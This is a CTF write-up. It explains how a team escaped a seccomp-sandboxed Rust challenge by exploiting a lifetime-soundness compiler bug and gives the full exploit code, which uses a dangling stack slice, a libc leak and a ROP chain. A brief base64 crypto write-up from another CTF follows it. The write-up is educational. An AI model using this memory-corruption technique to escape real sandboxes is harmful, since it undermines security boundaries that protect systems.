Noteworthy is the use of the nightly toolchain, in Rust, the nightly toolchain is where the language developers are allowed to experiment with unstable/bleeding edge features. It's also where new features like [nll](https://github.com/rust-lang/rfcs/blob/master/text/2094-nll.md) or [pin](https://github.com/rust-lang/rfcs/blob/master/text/2349-pin.md) were/are developed.
The main challenge binary `sandbox-sandstone` will read Rust code from the user, inject it into a Rust project template and execute the user code.
Let's look at the `read_code` function:```rustfn read_code() -> String { use std::io::BufRead;
let stdin = std::io::stdin(); let handle = stdin.lock();
let code = handle .lines() .map(|l| l.expect("Error reading code.")) .take_while(|l| l != "EOF") .collect::<Vec<String>>() .join("\n");
for c in code.replace("print!", "").replace("println!", "").chars() { if c == '!' || c == '#' || !c.is_ascii() { panic!("invalid character"); } }
for needle in &["libc", "unsafe"] { if code.to_lowercase().contains(needle) { panic!("no {} for ya!", needle); } }
code}```
The input code has some restrictions:
* It cannot contain the words `libc` or `unsafe` - to prevent the use of ffi and unsafe code* It cannot contain the `#` and `!` characters - to prevent the use of macros and compiler directives, we could have used to generate code that uses unsafe / libc* All characters must be ascii - probably to make sure the restrictions above are not bypassed
Our code is injected into the following template:
```rust// src/sandstone.rs
#![feature(nll)]#![forbid(unsafe_code)]
pub fn main() { println!("{:?}", (REPLACE_ME));}```
The main function of our program will setup a `seccomp-bpf` filter which only allows:
* write - to stdout* sigaltstack* mmap* munmap* exit_group* And a trace event for syscall number `0x1337`
Meaning that we cannot simply read the flag directly from the file system.Looking at the challenge binary, it executes our code, attaches to our process with `ptrace` and continues to monitor our process for events. If we manage to execute syscall number `0x1337` the challenge binary will print the flag:
```rust loop { let mut status: c_int = 0; let pid = unsafe { wait(&mut status) }; assert!(pid != -1);
if unsafe { WIFEXITED(status) } { break; }
if (status >> 8) == (SIGTRAP | (PTRACE_EVENT_SECCOMP << 8)) { let mut nr: c_ulong = 0; assert!(unsafe { ptrace(PTRACE_GETEVENTMSG, pid, 0, &mut nr) } != -1);
if nr == 0x1337 { assert!(unsafe { ptrace(PTRACE_KILL, pid, 0, 0) } != -1); print_flag(); // <--- print the flag! break; } }
unsafe { ptrace(PTRACE_CONT, pid, 0, 0) }; }```
So our challenge is clear, we need to execute the syscall `0x1337`, however, it's not so simple. Rust doesn't allow calling directly to syscalls without using the unsafe keyword. So we somehow need to break the safety guarantees that Rust provides and beat the compiler.
My teammate `real` who is an experienced Rust developer, encountered a crash in safe Rust using async code with the `Pin` trait in nightly Rust. He suggested that we go through the Github issues for rust-lang and try to find a bug that allows for memory corruptions. Helpfully rust-lang has a label for bugs in the compiler that cause safety issues [`I-Unsound`](https://github.com/rust-lang/rust/issues?q=is%3Aopen+is%3Aissue+label%3A%22I-unsound+%F0%9F%92%A5%22). We started looking for a bug that is present in the nightly version that we were running and after a while, we got issue [57893](https://github.com/rust-lang/rust/issues/57893), which is a pretty interesting bug. Let's look at the code:
```rusttrait Object { type Output;}
trait Marker<'b> {}impl<'b> Marker<'b> for dyn Object<Output=&'b u64> {}
impl<'b, T: ?Sized + Marker<'b>> Object for T { type Output = &'static u64;}
fn foo<'a, 'b, T: Marker<'b> + ?Sized>(x: <T as Object>::Output) -> &'a u64 { x}
fn transmute_lifetime<'a, 'b>(x: &'a u64) -> &'b u64 { foo::<dyn Object<Output=&'a u64>>(x)}
// And yes this is a genuine `transmute_lifetime`!fn get_dangling<'a>() -> &'a u64 { let x = 0; transmute_lifetime(&x)}
fn main() { let r = get_dangling(); println!("stack leak {:x}", r);}```
The piece of code above allows you to transmute an object lifetime with another lifetime. [Lifetimes](https://doc.rust-lang.org/1.9.0/book/lifetimes.html) are how the Rust compiler and language manage object reference validity, when a lifetime of an object ends it is dropped (destructed). Violating lifetime rules causes the famous Rust compiler error: ```error[E0597]: `borrow` does not live long enough```.
The code above causes the compiler to think that we have a reference to a valid object while the object was already destructed. The reference in the code above points to a memory location on a higher stack frame.At first, it looked like a memory leak bug, but a closer inspection revealed that we can change the type to `mut`, which causes the reference to be writable, which enables us to write to the stack!
Our exploitation plan was as follows:
1. Get a read/write pointer to the stack2. Leak libc3. Write an array to the stack of rop gadgets4. Call a recursive function which will raise the stack and hopefully collide the return address with our dangling pointer5. Within the recursion, use the dangling pointer to write our gadget to the stack and stop the recursion.6. Profit!

We tried to build a recursion that will land on our stack pointer, but it proved very hard to control. We actually have given up on the bug and moved to other issues.While working on other bugs we realized we could change the type of this function to return a slice (a reference to a continuous memory of some type) of `u64`. This will allow us to leak/write a lot more data which will enable us to write a rop chain directly to the stack.
We had a working prototype but it didn't work on the challenge binary. It turns out that the binary is compiled with release flags, while we were developing with a debug flags. Rust's llvm backend proved to be very powerful in inlining and optimizing the code, it eliminated our original recursion code and caused the dangling pointer code to be inlined to the main function and thus prevented us from using the bug, since the dangling pointer laid within our stack frame.
Luckily one of my teammates Liad is an llvm developer, which helped us kill the annoying optimizations - we used `dyn` trait (objects with vtable) to call the `get_dangling` function and get a dangling pointer to a higher stack frame, and hard data dependencies within the recursion to prevent inlining.
Putting this all [together](ex.rs):
```rust{use std::io;use std::io::prelude::*;
trait A { fn my_func(&self) -> &mut [u64];}
struct B { b: u64,}struct C { c: u64,}
impl A for B { fn my_func(&self) -> &mut [u64] { get_dangling() }}
impl A for C { fn my_func(&self) -> &mut [u64] { get_dangling() }}
fn is_prime(a: u64) -> bool { if a < 2 { return false; } if a % 2 == 0 { return true; } for i in 3..a { if a % i == 0 { return false; } } true}
fn get_trait_a() -> Box<dyn A> { let n = if let Ok(args) = std::env::var("CARGO_EXTRA_ARGS") { args.len() as usize } else { 791913 };
if is_prime(n as u64) { Box::new(B { b: 0 }) } else { Box::new(C { c: 0 }) }}
trait Object { type Output;}
impl<T: ?Sized> Object for T { type Output = &'static mut [u64];}
fn foo<'a, T: ?Sized>(x: <T as Object>::Output) -> &'a mut [u64] { x}
fn transmute_lifetime<'a, 'b>(x: &'a mut [u64]) -> &'b mut [u64] { foo::<dyn Object<Output = &'a mut [u64]>>(x)}
// And yes this is a genuine `transmute_lifetime`fn get_dangling<'a>() -> &'a mut [u64] { io::stdout().write(b"hello\n"); let mut a: [u64; 128] = [0; 128]; let mut x = 0; transmute_lifetime(&mut a)}
fn my_print_str(s: &str) { io::stdout().write(s.as_bytes());}
fn my_print(n: u64) { let s: String = n.to_string() + "\n"; io::stdout().write(s.as_bytes());}
// This function is only used to raise the stack frame and allow the dangling // slice to overwrite the stack frame of low stack frames.fn rec(a: &mut [u64], b: &mut [u64], attack: &mut [u64], n: u64, lib_c: u64) { let mut array: [u64; 3] = [0; 3]; a[0] += 1; b[0] += 1;
array[0] = a[0] + 1; array[1] = a[0] + b[1] + 1;
if a[0] > n {
// ubuntu 19.04 let pop_rax_ret = lib_c + 0x0000000000047cf8; let syscall_inst = lib_c + 0x0000000000026bd4; let ret = lib_c + 0x026422;
// Overwrite the stack with ret slide for (j, el) in attack.iter_mut().enumerate() { *el = ret; }
// Write our small rop chain let x = 50; attack[x] = pop_rax_ret; attack[x + 1] = 0x1337; attack[x + 2] = syscall_inst;
// Trigger return; }
// Random calculation to kill compiler optimizations. if a[0] > 30 { b[0] = a[0] + a[1]; rec(b, &mut array, attack, n, lib_c); } else { b[1] = a[2] + a[0]; rec(&mut array, a, attack, n, lib_c); }}
// using external variables to kill compiler optimizationslet n = if let Ok(args) = std::env::var("BLA") { args.len() as usize} else { 30};
// using external variables to kill compiler optimizationslet n2 = if let Ok(args) = std::env::var("BLA") { 10} else { 100};
// Using the dyn trait so that the compiler will execute the// get_dangling function in a higher stack frame. let my_a = get_trait_a();// getting the random stacklet mut r = my_a.my_func();
// Just random contentlet mut v: Vec<u64> = Vec::with_capacity(n);v.push(1);v.push(1);v.push(1);
// Adding some content;let mut b: Vec<u64> = Vec::with_capacity(n);b.push(1);b.push(2);b.push(3);
// We need to write output buffers to get lib-c gadgetsmy_print_str("Give me gadegts\n");let lib_c_addr = r[62];let lib_c = lib_c_addr - 628175;
my_print_str("===============\nlib_c base = ");my_print(lib_c);my_print_str("===============\n");
// Exploitrec(&mut v, &mut b, r, n2, lib_c);
}```
Finally we got the flag:`CTF{InT3ndEd_8yP45_w45_g1tHu8_c0m_Ru5t_l4Ng_Ru5t_1ssue5_31287}`
## Final notes
We didn't end up using issue 31287, I'm not sure it would have been easier to exploit than our issue. The challenge was really fun and interesting, I learned a lot more Rust. However, as a hobbyist Rust developer, it was really scary and painful to discover how many soundness bugs the language has. Maybe it's time to start contributing to Rust. |
# Old Story Writeup
### ISITDTU Quals 2019 - crypto 239 - 47 solves
> This is an old story about wheat and chessboard, and it's easy, right?
#### Observations
[Ciphertext](cipher.txt) contained a list with all the elements to be power of 2. I calculated all the bit lengths, and found out they are all less then 63. The flag must be encrypted or encoded to the given list. After some googling to find encoding, hash, or encrytion scheme that uses charset with the number of 64, I guessed that the ciphertext is a [base64](https://en.wikipedia.org/wiki/Base64) encoded string! Simply convert all the bit length to corresponding elements in base64 index table, and decode it. I get the flag:
```ISITDTU{r1c3_che55b0ard_4nd_bs64}```
Given parameters: [config.py](config,py), [cipher.txt](cipher.txt)
Exploit code: [solve.py](solve.py) |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.